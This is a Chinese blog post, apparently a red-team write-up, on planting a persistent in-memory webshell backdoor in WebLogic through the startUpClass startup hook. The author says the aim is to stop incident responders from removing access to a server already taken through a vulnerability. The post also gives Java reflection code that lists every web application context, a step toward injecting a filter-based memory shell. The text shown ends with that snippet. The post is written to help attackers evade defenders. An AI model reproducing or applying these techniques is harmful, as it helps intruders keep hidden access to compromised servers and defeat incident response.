蓝军反治系列之打造weblogic的持久化内存马后门

蓝军反治系列之打造weblogic的持久化内存马后门
最近遇到个挺恼火的事，刚通过某漏洞拿下的weblogic服务器被应急响应的小同学给下线了。于是最近在思考，怎么才能更好地去隐藏我们的内存马，让应急响应的小同学无法查杀。为什么不用javaagent？第 2021-04-02 19:19:35 Author: wiki.ioin.in(查看原文) 阅读量:204 收藏

最近遇到个挺恼火的事，刚通过某漏洞拿下的weblogic服务器被应急响应的小同学给下线了。于是最近在思考，怎么才能更好地去隐藏我们的内存马，让应急响应的小同学无法查杀。为什么不用javaagent？第一，麻烦，适配难度高。第二，很容易被应急响应查杀，只需要看一下jvm的启动参数即可知道是否存在javaagent的后门。

为啥公开了，因为我手里还有很多种方案的，包括tomcat，weblogic等等，发出来大家一起学习。大家努力，让应急响应的小同学今年全翻车。

看完各大安全厂商发布的蓝队锦囊就感觉挺扯淡，攻防本质在于人对于底层的理解，而不是夸夸其谈。

至于怎么查杀，琢磨琢磨，捉摸不透的话私信

1. startUpClass

简单来讲，就是weblogic在启动后，加载webapp之前，会根据你指定的startUpClass参数，去执行你指定的类。jar包位置只要在classpath中即可。当然，不懂的同学，可以去youtube上看一下印度老哥的一篇介绍，咖喱味口语还是很好玩的。https://www.youtube.com/watch?v=u2O9PuofoUI

在我测试后发现，weblogic在执行到我们的startUpClass的时候，各种runtime已经建立好了。也就是说，我们完全可以在startUpClass中植入基于filter的内存马，做到持久化方案。

所以，本小节的重点在于：

怎么找到所有context
怎么植入内存马

1.1 找到所有context

参考上一篇文章，在这里我就发一下代码了

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
        m.setAccessible(true);
        ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
        List<WebAppServletContext> list = new java.util.ArrayList();
        for (weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
            java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
            childrenF.setAccessible(true);
            java.util.HashSet set = (java.util.HashSet) childrenF.get(applicationRuntime);
            for (Object key : set) {
                if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {                    Field contextF = key.getClass().getDeclaredField("context");
                    contextF.setAccessible(true);
                    WebAppServletContext context = (WebAppServletContext) contextF.get(key);
                    list.add(context);
                }
            }
        }
        return list;